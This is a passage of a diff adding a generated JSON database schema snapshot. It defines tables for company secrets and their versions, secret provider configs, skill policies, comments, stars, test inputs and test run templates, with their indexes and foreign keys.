+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_secret_provider_configs_company_idx": {
+          "name": "company_secret_provider_configs_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_provider_configs_company_provider_idx": {
+          "name": "company_secret_provider_configs_company_provider_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_provider_configs_default_uq": {
+          "name": "company_secret_provider_configs_default_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"company_secret_provider_configs\".\"is_default\" = true",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_secret_provider_configs_company_id_companies_id_fk": {
+          "name": "company_secret_provider_configs_company_id_companies_id_fk",
+          "tableFrom": "company_secret_provider_configs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_secret_provider_configs_created_by_agent_id_agents_id_fk": {
+          "name": "company_secret_provider_configs_created_by_agent_id_agents_id_fk",
+          "tableFrom": "company_secret_provider_configs",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_secret_versions": {
+      "name": "company_secret_versions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "secret_id": {
+          "name": "secret_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "version": {
+          "name": "version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "material": {
+          "name": "material",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "value_sha256": {
+          "name": "value_sha256",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider_version_ref": {
+          "name": "provider_version_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'current'"
+        },
+        "fingerprint_sha256": {
+          "name": "fingerprint_sha256",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "rotation_job_id": {
+          "name": "rotation_job_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "revoked_at": {
+          "name": "revoked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        }
+      },
+      "indexes": {
+        "company_secret_versions_secret_idx": {
+          "name": "company_secret_versions_secret_idx",
+          "columns": [
+            {
+              "expression": "secret_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_versions_value_sha256_idx": {
+          "name": "company_secret_versions_value_sha256_idx",
+          "columns": [
+            {
+              "expression": "value_sha256",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_versions_fingerprint_idx": {
+          "name": "company_secret_versions_fingerprint_idx",
+          "columns": [
+            {
+              "expression": "fingerprint_sha256",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_versions_secret_version_uq": {
+          "name": "company_secret_versions_secret_version_uq",
+          "columns": [
+            {
+              "expression": "secret_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "version",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_secret_versions_secret_id_company_secrets_id_fk": {
+          "name": "company_secret_versions_secret_id_company_secrets_id_fk",
+          "tableFrom": "company_secret_versions",
+          "tableTo": "company_secrets",
+          "columnsFrom": [
+            "secret_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_secret_versions_created_by_agent_id_agents_id_fk": {
+          "name": "company_secret_versions_created_by_agent_id_agents_id_fk",
+          "tableFrom": "company_secret_versions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_secrets": {
+      "name": "company_secrets",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope": {
+          "name": "scope",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'company'"
+        },
+        "owner_user_id": {
+          "name": "owner_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "user_secret_definition_id": {
+          "name": "user_secret_definition_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'local_encrypted'"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "managed_mode": {
+          "name": "managed_mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'paperclip_managed'"
+        },
+        "external_ref": {
+          "name": "external_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_config_id": {
+          "name": "provider_config_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_metadata": {
+          "name": "provider_metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "latest_version": {
+          "name": "latest_version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_resolved_at": {
+          "name": "last_resolved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_rotated_at": {
+          "name": "last_rotated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_at": {
+          "name": "deleted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_secrets_company_idx": {
+          "name": "company_secrets_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secrets_company_scope_idx": {
+          "name": "company_secrets_company_scope_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secrets_company_owner_idx": {
+          "name": "company_secrets_company_owner_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "owner_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secrets_user_definition_owner_idx": {
+          "name": "company_secrets_user_definition_owner_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_secret_definition_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "owner_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secrets_company_provider_idx": {
+          "name": "company_secrets_company_provider_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secrets_provider_config_idx": {
+          "name": "company_secrets_provider_config_idx",
+          "columns": [
+            {
+              "expression": "provider_config_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secrets_company_name_uq": {
+          "name": "company_secrets_company_name_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"company_secrets\".\"scope\" = 'company' and \"company_secrets\".\"deleted_at\" is null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secrets_company_key_uq": {
+          "name": "company_secrets_company_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"company_secrets\".\"scope\" = 'company' and \"company_secrets\".\"deleted_at\" is null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secrets_user_definition_owner_uq": {
+          "name": "company_secrets_user_definition_owner_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_secret_definition_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "owner_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"company_secrets\".\"scope\" = 'user' and \"company_secrets\".\"deleted_at\" is null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_secrets_company_id_companies_id_fk": {
+          "name": "company_secrets_company_id_companies_id_fk",
+          "tableFrom": "company_secrets",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "company_secrets_user_secret_definition_id_user_secret_definitions_id_fk": {
+          "name": "company_secrets_user_secret_definition_id_user_secret_definitions_id_fk",
+          "tableFrom": "company_secrets",
+          "tableTo": "user_secret_definitions",
+          "columnsFrom": [
+            "user_secret_definition_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_secrets_provider_config_id_company_secret_provider_configs_id_fk": {
+          "name": "company_secrets_provider_config_id_company_secret_provider_configs_id_fk",
+          "tableFrom": "company_secrets",
+          "tableTo": "company_secret_provider_configs",
+          "columnsFrom": [
+            "provider_config_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_secrets_created_by_agent_id_agents_id_fk": {
+          "name": "company_secrets_created_by_agent_id_agents_id_fk",
+          "tableFrom": "company_secrets",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "company_secrets_scope_shape_check": {
+          "name": "company_secrets_scope_shape_check",
+          "value": "(\n        \"company_secrets\".\"scope\" = 'company'\n        and \"company_secrets\".\"owner_user_id\" is null\n        and \"company_secrets\".\"user_secret_definition_id\" is null\n      ) or (\n        \"company_secrets\".\"scope\" = 'user'\n        and \"company_secrets\".\"owner_user_id\" is not null\n        and \"company_secrets\".\"user_secret_definition_id\" is not null\n      )"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.company_skill_policies": {
+      "name": "company_skill_policies",
+      "schema": "",
+      "columns": {
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "schema_version": {
+          "name": "schema_version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "revision": {
+          "name": "revision",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "default_effect": {
+          "name": "default_effect",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "rules": {
+          "name": "rules",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {},
+      "foreignKeys": {
+        "company_skill_policies_company_id_companies_id_fk": {
+          "name": "company_skill_policies_company_id_companies_id_fk",
+          "tableFrom": "company_skill_policies",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_skill_comments": {
+      "name": "company_skill_comments",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_skill_id": {
+          "name": "company_skill_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "parent_comment_id": {
+          "name": "parent_comment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_agent_id": {
+          "name": "author_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_user_id": {
+          "name": "author_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "body": {
+          "name": "body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "deleted_at": {
+          "name": "deleted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_skill_comments_company_skill_created_idx": {
+          "name": "company_skill_comments_company_skill_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "company_skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_comments_parent_idx": {
+          "name": "company_skill_comments_parent_idx",
+          "columns": [
+            {
+              "expression": "parent_comment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_skill_comments_company_id_companies_id_fk": {
+          "name": "company_skill_comments_company_id_companies_id_fk",
+          "tableFrom": "company_skill_comments",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_comments_company_skill_id_company_skills_id_fk": {
+          "name": "company_skill_comments_company_skill_id_company_skills_id_fk",
+          "tableFrom": "company_skill_comments",
+          "tableTo": "company_skills",
+          "columnsFrom": [
+            "company_skill_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_comments_parent_comment_id_company_skill_comments_id_fk": {
+          "name": "company_skill_comments_parent_comment_id_company_skill_comments_id_fk",
+          "tableFrom": "company_skill_comments",
+          "tableTo": "company_skill_comments",
+          "columnsFrom": [
+            "parent_comment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_skill_comments_author_agent_id_agents_id_fk": {
+          "name": "company_skill_comments_author_agent_id_agents_id_fk",
+          "tableFrom": "company_skill_comments",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "author_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_skill_stars": {
+      "name": "company_skill_stars",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_skill_id": {
+          "name": "company_skill_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_skill_stars_skill_agent_idx": {
+          "name": "company_skill_stars_skill_agent_idx",
+          "columns": [
+            {
+              "expression": "company_skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_stars_skill_user_idx": {
+          "name": "company_skill_stars_skill_user_idx",
+          "columns": [
+            {
+              "expression": "company_skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_stars_company_skill_created_idx": {
+          "name": "company_skill_stars_company_skill_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "company_skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_skill_stars_company_id_companies_id_fk": {
+          "name": "company_skill_stars_company_id_companies_id_fk",
+          "tableFrom": "company_skill_stars",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_stars_company_skill_id_company_skills_id_fk": {
+          "name": "company_skill_stars_company_skill_id_company_skills_id_fk",
+          "tableFrom": "company_skill_stars",
+          "tableTo": "company_skills",
+          "columnsFrom": [
+            "company_skill_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_stars_agent_id_agents_id_fk": {
+          "name": "company_skill_stars_agent_id_agents_id_fk",
+          "tableFrom": "company_skill_stars",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_skill_test_inputs": {
+      "name": "company_skill_test_inputs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "skill_id": {
+          "name": "skill_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "content": {
+          "name": "content",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by": {
+          "name": "created_by",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_at": {
+          "name": "deleted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_skill_test_inputs_company_skill_name_idx": {
+          "name": "company_skill_test_inputs_company_skill_name_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_test_inputs_company_skill_active_idx": {
+          "name": "company_skill_test_inputs_company_skill_active_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "deleted_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_skill_test_inputs_company_id_companies_id_fk": {
+          "name": "company_skill_test_inputs_company_id_companies_id_fk",
+          "tableFrom": "company_skill_test_inputs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_test_inputs_skill_id_company_skills_id_fk": {
+          "name": "company_skill_test_inputs_skill_id_company_skills_id_fk",
+          "tableFrom": "company_skill_test_inputs",
+          "tableTo": "company_skills",
+          "columnsFrom": [
+            "skill_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_skill_test_run_templates": {
+      "name": "company_skill_test_run_templates",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "body": {
+          "name": "body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_agent_id": {
+          "name": "updated_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_user_id": {
+          "name": "updated_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_at": {
+          "name": "deleted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_skill_test_run_templates_company_active_idx": {
+          "name": "company_skill_test_run_templates_company_active_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "deleted_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_skill_test_run_templates_company_id_companies_id_fk": {
+          "name": "company_skill_test_run_templates_company_id_companies_id_fk",
+          "tableFrom": "company_skill_test_run_templates",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_test_run_templates_created_by_agent_id_agents_id_fk": {
+          "name": "company_skill_test_run_templates_created_by_agent_id_agents_id_fk",
+          "tableFrom": "company_skill_test_run_templates",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
